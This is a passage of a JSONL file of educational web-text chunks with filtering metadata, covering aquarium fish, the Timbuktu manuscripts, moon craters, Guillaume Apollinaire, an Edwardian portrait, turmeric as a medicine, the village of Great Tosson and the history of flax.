aquarium fish. within this group are found the tetras, many species of which are among the most popular and commonly kept fresh - water aquarium fish. also numbered among the members of this group is the infamous piranha, much feared throughout south america as a voracious maneater. as usual, the truth is far less dramatic, with the well - publicized piranha \u201c feeding frenzies \u201d occurring far less regularly than people may think. the species most associated with this phenomenon is the red - bellied piranha ( can piranhas be legally kept in captivity? it depends on where you live. the fact that an animal is offered for sale at a pet store does not guarantee its legality. many countries prohibit or carefully regulate the sale of potentially dangerous creatures such as piranhas. although famous for their meat - eating tendencies, in actuality, most members of the subfamily to which piranhas belong are peaceful vegetarians. one, the amazonian tambaqui ( fascinating in appearance, habits, and life history, the blind cave fish does not get nearly the attention it warrants. native to only one stream near the town of san lois potosi in mexico, individuals that had been swept into a cave by the stream ' s current have undergone a remarkable series of adaptations to their new environment. all those just outside the cave entrance appear quite normal in all respects, but the fish isolated within the cave are white in color and lack eyes. deprived of light and, therefore, the need for eyesight, eyes have degenerated and become covered with skin, and the body color has been lost as well. they navigate entirely by the use of the lateral line organs, and it is quite amazing to see how well they get around objects and how alert they are to the presence of food, despite not be able to see. blind cave fish are actually fairly good community tank members, despite their unique habitat. growing to a length of 5 inches, this fish does best in hard water but is some - what adaptable in that regard. they will consume all matter of aquarium fish foods and compete well at feeding time with their sighted", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4117763816171811, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.820593"} {"text": ", despite their unique habitat. growing to a length of 5 inches, this fish does best in hard water but is some - what adaptable in that regard. they will consume all matter of aquarium fish foods and compete well at feeding time with their sighted relatives. the young are born with what appear to be fully functional eyes, but they degenerate rapidly and are soon covered by a fatty pad of skin. this and the other ten or so species of hatchetfish might well be dubbed \u201c freshwater flying fish. \u201d although they lack the advanced aerial abilities of their saltwater namesakes, hatchetfish are specifically adapted to gliding above the water surface for short distances to escape predators. this feat is accomplished through the use of powerful muscles that propel the long pectoral fins. the unique, very thin body form also appears to lessen water resistance as the fish breaks the water ' s surface. hatchetfish range throughout the area from panama to paraguay in central and south america. most have silver coloring, with the marbled hatchetfish possessing a very attractive black pattern as well. they are specifically adapted to feeding upon surface - dwelling insects and flying insects that fall into the water. the uniquely upturned mouth suits the hatchetfish well in this regard and allows it to exploit a food source denied to fish with more generalized mouthparts. hatchetfish will take a variety of floating aquarium foods but should be offered small insects whenever possible. their reaction to crickets placed on the water ' s surface is fascinating to behold \u2014 they go into immediate action and really do seem to enjoy it.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3616784996143088, "token_count": 321, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.821217"} {"text": "monday paper archives the africa we never knew spreading the word : prof souleymane bachir diagne of northwestern university in the us was one of the speakers at a recent conference celebrating africa ' s written traditions. here ' s is how the story goes - for eons, word of mouth was the only means africa ' s inhabitants had to pass on its tales, its mythology, its history, from one generation to the next. until, that is, europeans came and dragged the continent kicking and screaming away from the campfire into enlightenment and the written word. that ' s the old version of the story, anyway. but since its independence from the french in 1960, mali, and specifically the never - never city of timbuktu - which is, in fact, a very real city, located just north of the niger river as it bends southward again - has been rewriting the annals of history. timbuktu, now hard up and in danger of being overrun by the sahara, was once a cultural hub, a bustling centre for trade and learning. and there ' s a written record of those glory days. some around the world, a small circle of scholars is poring over copies of these scripts. in uct ' s ford - foundation - funded timbuktu - uct manuscripts project, or tombouctou ( a play on the french spelling ), for instance, dr shamil jeppie and shaid mathee of the department of historical studies are translating and vivisecting 160 manuscripts making up nearly \" the aim of our work is to see and gauge the social history of the region, \" says mathee. \" we hope that the manuscripts will give us a deeper insight into the people and their history. \" at a recent conference hosted by jeppie and the sa government ' s south africa - mali project, an initiative kick - started by president thabo mbeki, leading scholars in the field from all corners of africa, europe and the us also got to flesh out that history. the event boasted a marquee line - up - leading scholars and guests, including dr essop pahad, minister in the presidency and chair of the south africa - mali timbuktu manuscripts trust, and minister of arts and culture pallo jordan. one aim of the gathering was to examine the wealth of written works from africa, and the region from whence this came. without downplaying the continent ' s oral tradition, of course. \" what timbuktu and also other", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4297499475399934, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.824174"} {"text": "jordan. one aim of the gathering was to examine the wealth of written works from africa, and the region from whence this came. without downplaying the continent ' s oral tradition, of course. \" what timbuktu and also other places where islamic scholarship was developed teach us, is to have a sense of history that opposes this identification of africa with orality, a generalisation that is just not accurate, \" said professor souleymane bachir diagne of northwestern university in the us at the second of the conference ' s two public lectures. \" of course orality is important in all cultures and especially in africa. but we should not ignore that the graphic rationality of islam has meant, in many areas, the adoption of arabic, or rather arabic script, by populations who, among other consequences of their conversion to the muslim religion, literally rewrote who they were and created a written intellectual tradition that we need to study. \" africa ' s new - found written legacy comes as a surprise to many, says jeppie. \" many of my students who came to the conference were dumbfounded. they never knew, for instance, that swahili had a long pre - colonial written tradition. \" but, word for word, these students - and others - are learning.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45975214452710755, "token_count": 263, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.824670"} {"text": "moon crater shapes date : 1999 - 2000 the craters on the moon are obviously round but impacts with a grazing incidence should leave a v shaped crater. i would think that some percentage of the impacts would be at shallow angles of attack but this does not appear to be the case in photos. have they discovered such craters and if not why?? it doesn ' t work that way. a crater is like a frozen ripple, and ripples are round. there is an asymmetric distribution of matter in the ripple, and the blanket of stuff ejected from the surface, that do record the angle of incidence. these are superimposed on the ripple, but it ' s the ripple that is most noticeable because of its sharp actually, impacts at a grazing angle will also make a round hole. this was a controversial point regarding meteor crater in arizona, which was basically the first site recognized on earth as a meteor impact site. the fact that no meteorite fragments were found in the earth below the center of the crater was initially taken as evidence against the hypothesis that the structure was an impact crater, but further research showed that if the impact is very energetic, such as a rifle bullet fired into mud, the resulting hole is round, even if the impact angle is quite flat. richard barrans jr., ph. d. click here to return to the astronomy archives update : june 2012", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45795764058288513, "token_count": 276, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.826399"} {"text": "| born | | august 26 1880 | died | | 9 november 1918 ( aged 38 ) | occupation | | poet, writer, art critic | guillaume apollinaire ( in french pronounced [ \u0261ijom ap\u0254li\u02c8n\u025b\u0281 ] ) ( august 26, 1880 \u2013 november 9, 1918 ) was a french avant - garde poet, writer, publisher, editor, art critic and dramatic innovator who is known to have directed french poetry into new contemporary directions as well as promoting the art of cubism. as a writer of periodicals and a founder of a new magazine, apollinaire saw life in wild almost absurd poetic and artistic values, an example of which is viewed in one of his poems of war : \" the sky is starry with boche shells ; the marvelous forest where i live is giving a ball. \" apollinaire became very close to artists pablo picasso and andre derain, the playwright alfred jarry, and the painter marie laurencin. as he used the french avant garde movement to experiment with advanced and very daring poetic techniques and ideas, his novel thoughts would also enliven composers and musicians, and francis poulenc set apollinaire ' s \" le bestiaire \" to music. among the foremost poets of the early twentieth century, he is credited with coining the word surrealism and writing one of the earliest works described as surrealist, the play les mamelles de tiresias ( 1917, later used as the basis for an opera in 1947 ). surrealism became one of the most important artistic movements of the early twentieth century. a product of an unstable time when the notion of progress was severely undermined through the catastrophe of the first world war, surrealism played with old norms and conventions of form and, ultimately, of meaning as well. | french literary history | born wilhelm albert vladimir apollinaris kostrowitzky / waz - kostrowicki and raised speaking french, among other languages, he emigrated to france and adopted the name guillaume apollinaire. his mother, born angelica kostrowicka, was a polish noblewoman born near navahrudak ( now in belarus ). his father is unknown but may have been francesco flugi d ' aspermont, a swiss italian aristocrat who disappeared early from apollinaire ' s life. he was partly educated in monaco. apollinaire was one of the most popular members of the artistic community of montparnasse in paris. his friends", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.37019931243216403, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.835668"} {"text": "a swiss italian aristocrat who disappeared early from apollinaire ' s life. he was partly educated in monaco. apollinaire was one of the most popular members of the artistic community of montparnasse in paris. his friends and collaborators during that period included pablo picasso, gertrude stein, max jacob, andre salmon, marie laurencin, andre breton, andre derain, faik konica, blaise cendrars, pierre reverdy, jean cocteau, erik satie, ossip zadkine, marc chagall and marcel duchamp. in 1911, he joined the puteaux group, a branch of the cubist movement. on september 7, 1911, police arrested and jailed him on suspicion of stealing the mona lisa, but released him a week later. apollinaire then implicated his friend pablo picasso, who was also brought in for questioning in the art theft, but he was also exonerated. he fought in world war i and, in 1916, received a serious shrapnel wound to the temple. he wrote les mamelles de tiresias while recovering from this wound. during this period he coined the word surrealism in the program notes for jean cocteau and erik satie ' s ballet parade, first performed on may 18, 1917. he also published an artistic manifesto, l ' esprit nouveau et les poetes. apollinaire ' s status as a literary critic is primarily based on his famous and influential recognition of the works of marquis de sade, whose works had for a long time been obscure. through apollinaire sade ' s works gained an audience and became influential upon the dada and surrealist art movements gaining currency in montparnasse at the beginning of the twentieth century. apollinaire saw in sade \" the freest spirit that ever existed. \" the war - weakened apollinaire died of influenza during the spanish flu pandemic of 1918. two years after being wounded in world war i, he died at age 38. he was interred in the le pere lachaise cemetery, paris. apollinaire ' s first collection of poetry was l ' enchanteur pourrissant ( 1909 ), but alcools ( 1913 ) established his reputation. the poems, influenced in part by the symbolists, juxtapose the old and the new, combining traditional poetic forms with modern imagery. in 1913, apollinaire published the essay les peint", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45243221973945746, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.836637"} {"text": "writings of the group members. from the dada activities of world war i surrealism was formed with the most important center of the movement in paris and from the 1920s spreading around the globe. his poems and stage works were instrumental in leading french poetry into evoking expressions of abstraction and daring concepts. his status as a literary critic is most famous and influential in his recognition of the marquis de sade, whose works were for a long time obscure, but which gained in popularity as an influence upon the dada and surrealist art movements at montparnasse at the beginning of the twentieth century. apollinaire admired sade as \" the freest spirit that ever existed. \" - le bestiaire ou le cortege d \u2019 orphee, 1911 - alcools, 1913 - vitam impendere amori ', 1917 - calligrammes, poemes de la paix et de la guerre 1913 - 1916, 1918 ( published shortly after apollinaire ' s death ) - il y a..., 1925 - ombre de mon amour, poems addressed to louise de coligny - chatillon, 1947 - poemes secrets a madeleine, pirated edition, 1949 - le guetteur melancolique, previously unpublished works, 1952 - poemes a lou, 1955 - soldes, previously unpublished works, 1985 - et moi aussi je suis peintre, album of drawings for calligrammes, from a private collection, published 2006 - mirely ou le petit trou pas cher, 1900 - \" que faire? \", - les onze mille verges ou les amours d ' un hospodar, 1907 - l ' enchanteur pourrissant, 1909 - l ' heresiarque et cie ( short story collection ), 1910 - les exploits d \u2019 un jeune don juan, 1911 - la rome des borgia, 1914 - la fin de babylone - l ' histoire romanesque 1 / 3, 1914 - les trois don juan - l ' histoire romanesque 2 / 3, 1915 - le poete assassine, 1916 - la femme assise, 1920 - les epingles ( short story collection ), 1928 plays and screenplays - les mamelles de tiresias, play, 1917 - la brehatine, screenplay ( collaboration with andre billy ), 1917 - couleurs du temps, 1918 - casanova, published 1952 articles, essays, etc. - le theatre italien, illustrated", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4184370391746076, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.838641"} {"text": "tiresias, play, 1917 - la brehatine, screenplay ( collaboration with andre billy ), 1917 - couleurs du temps, 1918 - casanova, published 1952 articles, essays, etc. - le theatre italien, illustrated encyclopedia, 1910 - pages d ' histoire, chronique des grands siecles de france, chronicles, 1912 - meditations esthetiques. les peintres cubistes, 1913 - la peinture moderne, 1913 - l ' antitradition futuriste, manifeste synthese, 1913 - case d ' armons, 1915 - l ' esprit nouveau et les poetes, 1918 - le flaneur des deux rives, chronicles, 1918 - adema, marcel. apollinaire. paris : plon, 1954. oclc 222067976 - adema, p. guillaume apollinaire. paris : la table ronde, 1968. oclc 1003860 - bates, s. guillaume apollinaire. new york : twayne publishers, 1967. oclc 649498 - breuning, l. c. guillaume apollinaire. new york : columbia university press, 1969. isbn 9780231029957 - couffignal, r. apollinaire. university of alabama press, 1975. isbn 9780817373221 - grimm, j. guillaume apollinaire. munchen : c. h. beck, 1993. isbn 9783406350542 - mathews, t. reading apollinaire. new york : st martin ' s press, 1964. oclc 1342408 - shattuck, roger. the banquet years. new york : vintage books, 1968. oclc 437218 - steegmuller, francis. apollinaire, poet among the painters. new york : farrar, straus 1963. oclc 965238 all links retrieved october 23, 2012. - works by guillaume apollinaire. project gutenberg - les exploits d ' un jeune don juan at the internet movie database new world encyclopedia writers and editors rewrote and completed the wikipedia article in accordance with new world encyclopedia standards. this article abides by terms of the creative commons cc - by - sa 3. 0 license ( cc - by - sa ), which may be used and disseminated with proper attribution. credit is due under the terms of this license that can reference both the new world", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4019486689748746, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.839590"} {"text": "this is one of a number of portraits that lambert painted of young girls. the subject was probably mary mond ( 1901 \u2013 1937 ), the eleven - year - old daughter of the british industrialist and politician sir alfred mon bt ( 1868 \u2013 1930 ), later first baron melchett and one of the founders of imperial chemical industries ( ici ). lambert depicted the young girl sitting slightly precariously on the elegant sofa. he presented her with her face in profile in a version of the whistler \u2019 s mother pose, but without the rigorous simplification of that painting. indeed, he showed mary as a pretty young miss with rosy cheeks, hair in ringlets and wearing a frilly white dress. the fluffy white dog nearby, looking up at her attentively and painted in a similar range of whites to her dress, suggests that she may have had some of the cuteness and cuddliness of this dog. in his depiction of the decorative fabric on the sofa, the floral carpet and the japanese screen, this portrait is unusual for lambert. this luscious background is indicative of the wealth with which mary mond was surrounded. portraits of children can be found throughout the history of art, but they were particularly popular during the edwardian era \u2013 an era which also saw the creation of memorable children \u2019 s books such as j. m. barrie \u2019 s peter pan ( 1904 ), kenneth grahame \u2019 s the wind in the willows ( 1908 ) andthe many stories by beatrix potter.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41001047828161463, "token_count": 305, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.841077"} {"text": "what is it? turmeric is a plant. you probably know turmeric as the main spice in curry. it has a warm, bitter taste and is frequently used to flavor or color curry powders, mustards, butters, and cheeses. but the root of turmeric is also used widely to make medicine. turmeric is used for arthritis, heartburn ( dyspepsia ), stomach pain, diarrhea, intestinal gas, stomach bloating, loss of appetite, jaundice, liver problems and gallbladder disorders. it is also used for headaches, bronchitis, colds, lung infections, fibromyalgia, leprosy, fever, menstrual problems, and cancer. other uses include depression, alzheimer \u2019 s disease, water retention, worms, and kidney problems. some people apply turmeric to the skin for pain, ringworm, bruising, leech bites, eye infections, inflammatory skin conditions, soreness inside of the mouth, and infected wounds. in food and manufacturing, the essential oil of turmeric is used in perfumes, and its resin is used as a flavor and color component in foods. don \u2019 t confuse turmeric with javanese turmeric root ( curcuma zedoaria ). how effective is it? natural medicines comprehensive database rates effectiveness based on scientific evidence according to the following scale : effective, likely effective, possibly effective, possibly ineffective, likely ineffective, ineffective, and insufficient evidence to rate. the effectiveness ratings for turmeric are as follows : possibly effective for... - stomach upset ( dyspepsia ). some research shows that taking turmeric by mouth might help improve an upset stomach. - osteoarthritis. some research shows that taking some turmeric extracts can reduce the pain caused by osteoarthritis of the knee. in one study, turmeric worked about as well as ibuprofen for reducing pain. insufficient evidence to rate effectiveness for... - skin cancer. there is some evidence that applying a turmeric ointment might help to relieve odor and itching caused by skin cancer. - rheumatoid arthritis ( ra ). curcumin, a chemical in turmeric, might help reduce some symptoms of rheumatoid arthritis. - liver and gallbladder problems. - menstrual problems. - eye infections. - skin problems. - alzheimer", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41103897243122317, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.851933"} {"text": "curcumin, a chemical in turmeric, might help reduce some symptoms of rheumatoid arthritis. - liver and gallbladder problems. - menstrual problems. - eye infections. - skin problems. - alzheimer \u2019 s disease. - other conditions. more evidence is needed to rate turmeric for these uses. the chemicals in turmeric might decrease swelling ( inflammation ). are there safety concerns? ( update ) turmeric is likely safe when used appropriately by adults. turmeric usually does not cause significant side effects ; however, some people can experience stomach upset, nausea, dizziness, or diarrhea. in one report, a person who took very high amounts of turmeric, over 1500 mg twice daily, experienced a dangerous abnormal heart rhythm. however, it is unclear if turmeric was the actual cause of this side effect. until more is known, avoid taking excessively large doses of turmeric. special precautions & warnings : pregnancy and breast - feeding : taking turmeric by mouth in medicinal amounts is likely unsafe in pregnancy. it might promote a menstrual period or stimulate the uterus, putting the pregnancy at risk. don \u2019 t take turmeric if you are pregnant. there isn \u2019 t enough information to rate the safety of turmeric during breast - feeding. it \u2019 s best not to use it. gallbladder problems : turmeric can make gallbladder problems worse. don \u2019 t use turmeric if you have gallstones or a bile duct obstruction. gastroesophageal reflux disease ( gerd ) : turmeric can cause stomach upset in some people. it might make stomach problems such as gerd worse. don \u2019 t take turmeric if it worsens symptoms of gerd. surgery : turmeric might slow blood clotting. it might cause extra bleeding during and after surgery. stop using turmeric at least 2 weeks before a scheduled surgery. be cautious with this combination. medications that slow blood clotting ( anticoagulant / antiplatelet drugs ) turmeric might slow blood clotting. taking turmeric along with medications that also slow clotting might increase the chances of bruising and bleeding. some medications that slow blood clotting include aspirin, clopidogrel ( plavix ), diclofenac ( voltaren, cataflam, others ), ibuprofen ( advil", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4207411076012058, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.852820"} {"text": "and bleeding. some medications that slow blood clotting include aspirin, clopidogrel ( plavix ), diclofenac ( voltaren, cataflam, others ), ibuprofen ( advil, motrin, others ), naproxen ( anaprox, naprosyn, others ), dalteparin ( fragmin ), enoxaparin ( lovenox ), heparin, warfarin ( coumadin ), and others. herbs and supplements that might slow blood clotting turmeric might slow blood clotting. taking turmeric along with herbs that also slow clotting might increase the chances of bruising and bleeding. these herbs include angelica, clove, danshen, garlic, ginger, ginkgo, panax ginseng, red clover, willow, and others. there are no known interactions with foods. the following doses have been studied in scientific research : for upset stomach ( dyspepsia ) : 500 mg of turmeric four times daily. for osteoarthritis : 500 mg twice daily of a specific turmeric extract ( meriva, indena ) ; 500 mg four times daily of a non - commercial product has also been used. for rheumatoid arthritis ( ra ) : 500mg twice daily of a specific formulation of the turmeric constituent, curcumin ( bcm - 95\u00ae, arjuna natural extracts, india ), has been used. curcuma, curcuma aromatica, curcuma domestica, curcumae longa, curcumae longae rhizoma, curcumin, curcumine, curcuminoid, curcuminoide, curcuminoides, curcuminoids, halada, haldi, haridra, indian saffron, nisha, pian jiang huang, racine de curcuma, radix curcumae, rajani, rhizoma cucurmae longae, safran bourbon, safran de batallita, safran des indes, turmeric root, yu jin. to learn more about how this article was written, please see the natural medicines comprehensive database methodology. methodology ( http : / / www. nlm. nih. gov / medlineplus / druginfo / natural / methodology.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.37026683933911053, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.853755"} {"text": "jin. to learn more about how this article was written, please see the natural medicines comprehensive database methodology. methodology ( http : / / www. nlm. nih. gov / medlineplus / druginfo / natural / methodology. html ). to see all references for the turmeric page, please go to http : / / www. nlm. nih. gov / medlineplus / druginfo / natural / 662. html. - chandran b, goel a. a randomized, pilot study to assess the efficacy and safety of curcumin in patients with active rheumatoid arthritis. phytother res 2012 ; 26 : 1719 - 25. - carroll re, benya rv, turgeon dk, et al. phase iia clinical trial of curcumin for the prevention of colorectal neoplasia. cancer prev res ( phila ) 2011 ; 4 : 354 - 64. - belcaro g, cesarone mr, dugall m, et al. efficacy and safety of meriva, a curcumin - phosphatidylcholine complex, during extended administration in osteoarthritis patients. alt med rev 2010 : 15 : 337 - 4. - kuptniratsaikul v, thanakhumtorn s, chinswangwatanakul p, et al. efficacy and safety of curcuma domestica extracts in patients with knee osteoarthritis. j altern complement med 2009 ; 15 : 891 - 7. - lee sw, nah ss, byon js, et al. transient complete atrioventricular block associated with curcumin intake. int j cardiol 2011 ; 150 : e50 - 2. - baum l, lam cw, cheung sk, et al. six - month randomized, placebo - controlled, double - blind, pilot clinical trial of curcumin in patients with alzheimer disease ( letter ). j clin psychopharmacol 2008 ; 28 : 110 - 3. - thapliyal r, maru gb. inhibition of cytochrome p450 isozymes by curcumins in vitro and in vivo. food chem toxicol 2001 ; 39 : 541 - 7. - thapliyal r, deshpande ss, maru gb. mechanism ( s ) of turmeric - mediated protective effects against benzo ( a )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5052816565516411, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.854539"} {"text": "vivo. food chem toxicol 2001 ; 39 : 541 - 7. - thapliyal r, deshpande ss, maru gb. mechanism ( s ) of turmeric - mediated protective effects against benzo ( a ) pyrene - derived dna adducts. cancer lett 2002 ; 175 : 79 - 88. - sugiyama t, nagata j, yamagishi a, et al. selective protection of curcumin against carbon tetrachloride - induced inactivation of hepatic cytochrome p450 isozymes in rats. life sci 2006 ; 78 : 2188 - 93. - takada y, bhardwaj a, potdar p, aggarwal bb. nonsteroidal anti - inflammatory agents differ in their ability to suppress nf - kappab activation, inhibition of expression of cyclooxygenase - 2 and cyclin d1, and abrogation of tumor cell proliferation. oncogene 2004 ; 23 : 9247 - 58. lal b, kapoor ak, asthana op, et al. efficacy of curcumin in the management of chronic anterior uveitis. phytother res 1999 ; 13 : 318 - 22. - deodhar sd, sethi r, srimal rc. preliminary study on antirheumatic activity of curcumin ( diferuloyl methane ). indian j med res 1980 ; 71 : 632 - 4. - kuttan r, sudheeran pc, josph cd. turmeric and curcumin as topical agents in cancer therapy. tumori 1987 ; 73 : 29 - 31. - antony s, kuttan r, kuttan g. immunomodulatory activity of curcumin. immunol invest 1999 ; 28 : 291 - 303. - hata m, sasaki e, ota m, et al. allergic contact dermatitis from curcumin ( turmeric ). contact dermatitis 1997 ; 36 : 107 - 8. - rasyid a, rahman ar, jaalam k, lelo a. effect of different curcumin dosages on human gall bladder. asia pac j clin nutr 2002 ; 11 : 314 - 8. - thamlikitkul v, bunyapraphatsara n, dechatiwongse t, et al. randomized double blind", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48309589566661704, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.855274"} {"text": "bladder. asia pac j clin nutr 2002 ; 11 : 314 - 8. - thamlikitkul v, bunyapraphatsara n, dechatiwongse t, et al. randomized double blind study of curcuma domestica val. for dyspepsia. j med assoc thai 1989 ; 72 : 613 - 20. - shah bh, nawaz z, pertani sa. inhibitory effect of curcumin, a food spice from turmeric, on platelet - activating factor - and arachidonic acid - mediated platelet aggregation through inhibition of thromboxane formation and ca2 + signaling. biochem pharmacol 1999 ; 58 : 1167 - 72. - thaloor d, singh ak, sidhu gs, et al. inhibition of angiogenic differentiation of human umbilical vein endothelial cells by curcumin. cell growth differ 1998 ; 9 : 305 - 12. - deeb d, xu yx, jiang h, et al. curcumin ( diferuloyl - methane ) enhances tumor necrosis factor - related apoptosis - inducing ligand - induced apoptosis in lncap prostate cancer cells. mol cancer ther 2003 ; 2 : 95 - 103. - araujo cc, leon ll. biological activities of curcuma longa l. mem inst oswaldo cruz 2001 ; 96 : 723 - 8. - surh yj. anti - tumor promoting potential of selected spice ingredients with antioxidative and anti - inflammatory activities : a short review. food chem toxicol 2002 ; 40 : 1091 - 7. - zhang f, altorki nk, mestre jr, et al. curcumin inhibits cyclooxygenase - 2 transcription in bile acid - and phorbol ester - treated human gastrointestinal epithelial cells. carcinogenesis 1999 ; 20 : 445 - 51. - sharma ra, mclelland hr, hill ka, et al. pharmacodynamic and pharmacokinetic study of oral curcuma extract in patients with colorectal cancer. clin cancer res 2001 ; 7 : 1894 - 900. - fetrow cw, avila jr. professional ' s handbook of complementary & alternative medicines. 1st ed. springhouse, pa : springhouse corp., 1999. - mcguffin", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4754763721551757, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.856025"} {"text": "great tosson : in the 20th century during the last century great tosson witnessed profound social, economic and demographic changes in common with the other villages in the national park. two world wars left their mark on this part of coquetdale in terms of the casualties amongst those who went off to fight. world war ii also left a tangible reminder in the fabric of the locality in the shape of the concrete pillboxes built at newtown and ryehill as part of the coquet line of defence in 1940. agriculture now employs fewer people than in the past, but it remains a crucial element in the economy of the locality and the farms in the village continue to operate, having acquired the usual assortment of large modern shelter sheds and the like. however other local industries have also declined. the limestone quarry has long since fallen into disuse, as lime is no longer such an important agricultural input, and the woollen mill which was still flourishing at the beginning of the century, when dixon wrote ( 1903, 469 - 70 ), had already closed by the time volume xv of the county history, which dealt with great tosson, appeared in 1940 ( nch xv ( 1940 ), 397 ). leisure and tourism have assumed much greater importance following the creation of the northumberland national park in 1956 and the increasing recreational time and opportunities available to all sections of the population in the second half of the 20th century. any negative aspects of the last century and its impact on the village must be balanced against the enormous improvement in living standards experienced by ordinary people over its course. the houses and cottages in the village all now form comfortable homes with the full range of services - power, water and telephone - expected in the modern world. it is likely that this residential function - in providing homes for people who work elsewhere - will become increasingly important for great tosson as the current century progresses. pictures : cottages at tosson", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4134191577788094, "token_count": 381, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.858096"} {"text": "flax production in the seventeenth century detail of painting by nps artist sydney king when sir george yeardley returned to jamestown in 1619, one of his instructions from the virginia company of london was to promote flax harvesting. the stockholders hoped that, as with silkworm cultivation, viticulture and glass production, the colonists would use this ancient crop to both realize a profit and diversify their labors. ultimately, none of these ventures was a commercial success. the labor involved was either too intensive or required too much skill, the climate and soil of the chesapeake region did not cooperate, or plain bad luck attended the operations. that did not mean, however, that wine, silk or linen were never produced in virginia. although flax, the plant from which linen is derived, never rivaled tobacco as a cash crop in the chesapeake, most farmers and plantation owners grew small amounts will into the 1800 ' s for their own use. the plant which provides the raw material from which linen is made is an annual which grows two to three feet high on a slim, little - branching stem. it is this woody stalk, hollow when dried, which is harvested and ultimately manufactured into linen. spinning flax into thread is facilitated by properties inherent to the fiber, including its length ( two to three feet when will prepared ), its high pectin content ( when wet, the pectin acts as a glue to further bind fibers together ) and the nodes which appear along the length of the fibers ( similar to those found on bamboo ) which incline them to join even more readily. additional properties of flax make it a desirable finished product. other than ramie, it has the greatest tensile strength of any natural fiber, and is 20 % stronger when wet. it is highly absorbent and dries quickly, and its high wax content gives it linen ' s characteristic luster. it is also long lasting. if not exposed to synthetic bleaches or mechanical drying, a regularly - used linen sheet can survive for a century or more. making flax an even more valuable crop, the seeds can be harvested and linseed oil ( used in wood treatments, paint and animal fodder ) extracted. flax has been with humankind long before europeans ' discovery of the western hemisphere. linum angostifolium, the wild ancestor of flax, can be found from the black sea to the canary islands. l. usitatissimum ( meaning \" of greatest use \" ), is the oldest cultivated fiber plant", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4536692692653433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.868012"} {"text": ". linum angostifolium, the wild ancestor of flax, can be found from the black sea to the canary islands. l. usitatissimum ( meaning \" of greatest use \" ), is the oldest cultivated fiber plant, with evidence of its growth and use dating back to the fifth millennium bc in both mesopotamia and egypt. while the former concentrated on wool production, the latter, employing the fertile fields of the nile delta, became experts at the creation of linen textiles which cannot be rivaled in strength and fineness of weave today. egyptians turned the coarser, low - grade flax into rope and string ; the finest quality was reserved for clothmaking. workmen ' s wives set up makeshift looms in the doorways of their dwellings to weave linen for household use. female serfs and slaves worked endlessly in crews on large estates ; in unplundered tombs hundreds of sheets are commonly found, stored up in anticipation of the departed ' s return. linen fabric, millennia before coinage was invented, served as a medium of exchange and a measure of wealth. l. angustifolium grows wild in briton and was employed as early as 3000 bc by the swiss lake dwellers. because these people centered their communities over swampy areas, many wooden and fiber artifacts have survived from their culture. tools for flax preparation, hanks of spun thread and cloth of complex weave have all been found in the alkaline lake mud. l. usitatissimum is believed by many historians to have been introduced into england by the romans ; by the 16th 